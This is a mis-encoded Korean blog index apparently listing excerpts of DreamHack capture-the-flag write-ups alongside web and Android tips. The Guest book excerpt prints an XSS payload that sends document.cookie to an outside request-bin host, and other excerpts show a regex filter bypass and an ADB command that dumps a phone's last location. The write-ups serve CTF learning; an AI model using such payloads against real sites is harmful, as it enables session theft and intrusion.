๋ณธ๋ฌธ ๋ฐ”๋กœ๊ฐ€๊ธฐ
  • Tried. Failed. Logged.
728x90

์ „์ฒด ๊ธ€720

DreamHack - broken-png ํ’€์ด image.png’s hex 89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52 00 00 02 00 00 00 01 00 ๋งจ ์ฒ˜์Œ 89 50 4E 47 0D 0A 1A 0A 00 00 00 ๋ถ€๋ถ„์€ png์˜ ์‹œ๊ทธ๋‹ˆ์ฒ˜ ๊ฐ’์„ ์˜๋ฏธํ•œ๋‹ค. ๊ทธ ๋ฐ”๋กœ ์•„๋ž˜์— 00 00 02 00 00 00 01 00๋Š” ๊ฐ๊ฐ width์™€ height ๊ฐ’์ด ์œ„์น˜ํ•œ๋‹ค. image.png’s width property 00 00 02 00 200(16)์€ 512(10)์ด๋ฏ€๋กœ ์ด๋ฏธ์ง€์˜ width๋Š” 512px๋ฅผ ์˜๋ฏธํ•œ๋‹ค. image.png’s height property 00 00 01 00 100(16)์€ 256(10)์ด๋ฏ€๋กœ ์ด๋ฏธ์ง€์˜ height๋Š” 256px๋ฅผ ์˜๋ฏธํ•œ๋‹ค. ๋ฌธ์ œ์—์„œ ์›๋ณธ์€ ์ •์‚ฌ๊ฐํ˜• ํฌ๊ธฐ์˜€์œผ๋‚˜.. 2023. 9. 8.
DreamHack - phpreg ํ’€์ด ์ฒซ ๋ฒˆ์งธ ๋ฌธ์ œ : ์กฐ๊ฑด์— ๋งŒ์กฑํ•˜๋Š” name ์ฐพ๊ธฐ ์•„๋ž˜ ์ฝ”๋“œ๋ฅผ ํ™•์ธํ•˜๋ฉด ๋‹จ๋ฒˆ์— name์€ "dnyang0310"๊ฐ€ ์ •๋‹ต์ธ ๊ฑธ ์•Œ ์ˆ˜ ์žˆ๋‹ค. if ($name === "dnyang0310" && $pw === "d4y0r50ng+1+13") ํ•˜์ง€๋งŒ ์•„๋ž˜ preg_replace์— ์˜ํ•ด "nyang"์ด ๊ณต๋ฐฑ์œผ๋กœ ์น˜ํ™˜๋œ๋‹ค. $name = preg_replace("/nyang/i", "", $input_name); ๋‹จ์–ด๊ฐ€ ๊ณต๋ฐฑ์œผ๋กœ ์น˜ํ™˜๋˜๋Š” ๊ฒƒ์€ ์•„๋ž˜์™€ ๊ฐ™์ด ์‰ฝ๊ฒŒ ์šฐํšŒ ๊ฐ€๋Šฅํ•˜๋‹ค. dnnyangyang0310 --> dn yang0310 --> dnyang0310 ๋‘ ๋ฒˆ์งธ ๋ฌธ์ œ : ์กฐ๊ฑด์— ๋งŒ์กฑํ•˜๋Š” password ์ฐพ๊ธฐ ์•„๋ž˜ ์กฐ๊ฑด์‹์œผ๋กœ ์ธํ•ด ํŒจ์Šค์›Œ๋“œ์— ์•ŒํŒŒ๋ฒณ์ด ํฌํ•จํ•  ์ˆ˜๊ฐ€ ์—†๋‹ค. // pw filtering if (pr.. 2023. 9. 8.
DreamHack - out_of_boundary ํ’€์ด out_of_boundary.c #include #include #include #include #include char name[16]; char *command[10] = { "cat", "ls", "id", "ps", "file ./oob" }; void alarm_handler() { puts("TIME OUT"); exit(-1); } void initialize() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); signal(SIGALRM, alarm_handler); alarm(30); } int main() { int idx; initialize(); printf("Admin name: "); read(0, name.. 2023. 9. 8.
DreamHack - Guest book v0.2 ํ’€์ด ๋จผ์ € ํŽ˜์ด์ง€ ํ•˜๋‹จ์— ์ž‘์„ฑ๋œ ํƒœ๊ทธ๋“ค์„ ์ฐพ๊ฒŒ ๋˜๋ฉด ๋ฌธ์ œ ํ‘ธ๋Š” ์†๋„๊ฐ€ ๋นจ๋ž์„ ๊ฒƒ์ด๋‹ค. config.js์˜ ๋‚ด์šฉ์€ ์•„๋ž˜์™€ ๊ฐ™๋‹ค. window.CONFIG = { version: "v0.2", main: "/", debug: false, debugMSG: "" } // prevent overwrite Object.freeze(window.CONFIG); ์•„๋ž˜์˜ Object.freeze ๋ฉ”์†Œ๋“œ์œผ๋กœ ์ธํ•ด window.CONFIG๊ฐ€ overwriting์ด ์•ˆ๋˜๋Š” ์ƒํ™ฉ์ด๋ฉฐ if ์กฐ๊ฑด์ด false๋กœ ๋‚˜์˜ค๋ฉด์„œ ์•„๋ž˜์˜ "localtion.href = window.CONFIG.main" ๋ผ์ธ์„ ์‹คํ–‰ํ•˜์ง€ ๋ชปํ•œ๋‹ค. config.js ์šฐํšŒ ๋ฐฉ๋ฒ• ์ชฝ์— ๋ฌธ์ œ์ ์ด ํ•˜๋‚˜ ์žˆ์—ˆ๋‹ค. ๋ฐ”๋กœ .js ์ž์›์„(config.js) ์ƒ๋Œ€ ๊ฒฝ๋กœ ํ˜•ํƒœ๋กœ ์ฝ.. 2023. 9. 7.
DreamHack - Guest book ํ’€์ด ๋ฐฉ๋ฒ• 1. name๊ณผ onfocus ์‚ฌ์šฉ [dreamhack](#' name='foo' onfocus='location.href=`https://bqfyoyg.request.dreamhack.games/cookie=`+document.cookie') ์œ„ ํ…์ŠคํŠธ๋ฅผ URL Encoding ํ•œ๋‹ค. %5Bdreamhack%5D%28%23%27%20name%3D%27foo%27%20onfocus%3D%27location%2Ehref%3D%60https%3A%2F%2Fbqfyoyg%2Erequest%2Edreamhack%2Egames%2Fcookie%3D%60%2Bdocument%2Ecookie%27%29 ์ธ์ฝ”๋”ฉ ๋œ ๊ฐ’์„ content ํŒŒ๋ผ๋ฏธํ„ฐ ๊ฐ’์œผ๋กœ ๊ฑด๋„ค์ฃผ๋Š”๋ฐ URL ๋’ค์— #foo๋ฅผ ํฌํ•จํ•˜๋Š” ๊ฒƒ์ด ํ•ต์‹ฌ http:.. 2023. 9. 7.
DreamHack - CTF์— ์œ ์šฉํ•œ ๋„๊ตฌ ๋ชจ์Œ(๋“œ๋ฆผํ•ต ํˆด์ฆˆ) https://tools.dreamhack.games/main dreamhack-tools tools.dreamhack.games 2023. 9. 7.
DreamHack - blind-command ํ’€์ด https://dreamhack.io/wargame/challenges/73 blind-command Read the flag file XD Reference Server-side Basic Server-side Advanced - Command Injection dreamhack.io ํ•ด๊ฒฐ ์กฐ๊ฑด ์‚ฌ์šฉ์ž๋กœ๋ถ€ํ„ฐ GET Method๋ฅผ ์š”์ฒญ๋ฐ›์•„์•ผ ํ•จ cmd๋ผ๋Š” GET ํŒŒ๋ผ๋ฏธํ„ฐ ๊ฐ’์„ ์ „๋‹ฌ๋ฐ›์•„์•ผ ํ•จ request.method๊ฐ€ GET์ด ์•„๋‹ˆ์–ด์•ผ ํ•จ ํ•ด๊ฒฐ ์กฐ๊ฑด 1๋ฒˆ๊ณผ 3๋ฒˆ์ด ์ข€ ๋ชจ์ˆœ์ด ๋œ๋‹ค. ์ฝ”๋“œ์˜ 7๋ฒˆ์งธ ๋ผ์ธ @app.route('/' , methods=['GET'])์— ์ธํ•ด GET ์™ธ์— ๋‹ค๋ฅธ Method๋ฅผ ์ „์†กํ•˜๋ฉด 405(METHOD NOT ALLOWED) ์—๋Ÿฌ๊ฐ€ ๋ฐœ์ƒํ•œ๋‹ค. ํ•˜์ง€๋งŒ 14๋ฒˆ์งธ ๋ผ์ธ if๋ฌธ์— ์˜ํ•ด .. 2023. 9. 7.
์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ - ์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ ๋‚œ๋…ํ™” ์‚ฌ์ดํŠธ(obfuscator.io) ์‚ฌ์ดํŠธ ์ฃผ์†Œ https://obfuscator.io/ JavaScript Obfuscator Tool JavaScript Obfuscator Tool A free and efficient obfuscator for JavaScript (including support of ES2022). Make your code harder to copy and prevent people from stealing your work. This tool is a Web UI to the excellent (and open source) javascript-obfuscato obfuscator.io // Paste your JavaScript code here function hi() { console.log("Hello .. 2023. 9. 5.
์•„ํŒŒ์น˜ - ๊ตฌ๊ธ€ ์บก์ฑ (reCAPTCHA) ์ ์šฉํ•˜๊ธฐ(PHP) /etc/php/{๋ณธ์ธ php ๋ฒ„์ „}/apache2/php.ini (curl ๊ธฐ๋Šฅ ์ฃผ์„ ํ•ด์ œ) extension=curl ์ฐธ๊ณ : https://developers.google.com/recaptcha/docs/display?hl=ko reCAPTCHA v2 | Google for Developers ์ด ํŽ˜์ด์ง€๋Š” Cloud Translation API๋ฅผ ํ†ตํ•ด ๋ฒˆ์—ญ๋˜์—ˆ์Šต๋‹ˆ๋‹ค. Switch to English reCAPTCHA v2 ์ปฌ๋ ‰์…˜์„ ์‚ฌ์šฉํ•ด ์ •๋ฆฌํ•˜๊ธฐ ๋‚ด ํ™˜๊ฒฝ์„ค์ •์„ ๊ธฐ์ค€์œผ๋กœ ์ฝ˜ํ…์ธ ๋ฅผ ์ €์žฅํ•˜๊ณ  ๋ถ„๋ฅ˜ํ•˜์„ธ์š”. ์ด ํŽ˜์ด์ง€์—์„œ๋Š” ์›นํŽ˜์ด์ง€์—์„œ developers.google.com https://wonpaper.tistory.com/374 [PHP] ๊ตฌ๊ธ€ ์บก์ฐจ(Captcha) ๋‹ฌ๊ธฐ - V3, V2 ๋ฒ„์ „ [์ž๋™์ž…๋ ฅ๋ฐฉ.. 2023. 9. 2.
์•ˆ๋“œ๋กœ์ด๋“œ - ADB ์‚ฌ์šฉ์ž ๋งˆ์ง€๋ง‰ ์œ„์น˜ ๊ฐ€์ ธ์˜ค๊ธฐ ๋ช…๋ น์–ด adb shell dumpsys location > dumpsys.txt ํŽธ์ง‘๊ธฐ์—์„œ Ctrl + F(ํŽ˜์ด์ง€ ์ฐพ๊ธฐ) > "last location=Location[network " ๊ฒ€์ƒ‰ > ๋งˆ์ง€๋ง‰ ์œ„์น˜(์œ„๋„, ๊ฒฝ๋„) ์ถ”์ถœ ์ถœ์ฒ˜: https://android.stackexchange.com/questions/85279/a-way-to-get-location-coordinates-from-command-line A way to get location coordinates from command line I'm looking for a command line, or a series of commands that can dump or list the latitude and longitude on a roo.. 2023. 9. 1.
Jekyll - ๊นƒํ—ˆ๋ธŒ ํŽ˜์ด์ง€ Jekyll ---layout: home # Index page--- ์—๋Ÿฌ ํ•ด๊ฒฐ ๋ฐฉ๋ฒ• .github/workflows/pages-deploy.yml ruby-version: 3.1 ruby-version์„ 3์—์„œ 3.1๋กœ ๋ณ€๊ฒฝํ•˜๊ณ  branches๋ฅผ master๋กœ ์ˆ˜์ •ํ•˜๋‹ˆ ํ•ด๊ฒฐ์ด ๋œ ๊ฒƒ ๊ฐ™๋‹ค. ๋˜ ์•ˆ๋˜๋ฉด 3.1์—์„œ 3์œผ๋กœ ์ˆ˜์ •ํ•˜๋‹ˆ๊น ์ œ๋Œ€๋กœ ์ž‘๋™์ด ๋œ๋‹ค(?????????????) ์ถœ์ฒ˜: https://velog.io/@hashnsalt/Github-Blog-%EB%A7%8C%EB%93%A4%EA%B8%B0-2 ๐Ÿ“’Github Blog ๋งŒ๋“ค๊ธฐ-2 22/08/01 7์›” 31์ผ์ž ๊ฒช์€ ์ˆ˜ ๋งŽ์€ ์˜ค๋ฅ˜๊ฐ€ ์„œ๋ง‰์ด์—ˆ์Œ์„ ๊ทธ๋• ๊นจ๋‹ซ์ง€ ๋ชปํ–ˆ์Šต๋‹ˆ๋‹ค ๋‚ด ๋ชฉํ‘œ๋Š” github๋กœ ๊ธฐ์ˆ  ๋ธ”๋กœ๊ทธ๋ฅผ ๊ฐœ์„คํ•˜๋Š” ๊ฒƒ. ์„ ํƒํ•œ ํ…Œ๋งˆ๋Š” Chirpy theme. velog.io 2023. 8. 31.
CSS - ์ธ๊ธฐ ์žˆ๋Š” ๋””์ž์ธ ํ”„๋ ˆ์ž„์›Œํฌ(Tailwind CSS) https://tailwindcss.com/ Tailwind CSS - Rapidly build modern websites without ever leaving your HTML. Tailwind CSS is a utility-first CSS framework for rapidly building modern websites without ever leaving your HTML. tailwindcss.com https://flowbite.com/ https://flowbite.com/ flowbite.com 2023. 8. 28.
728x90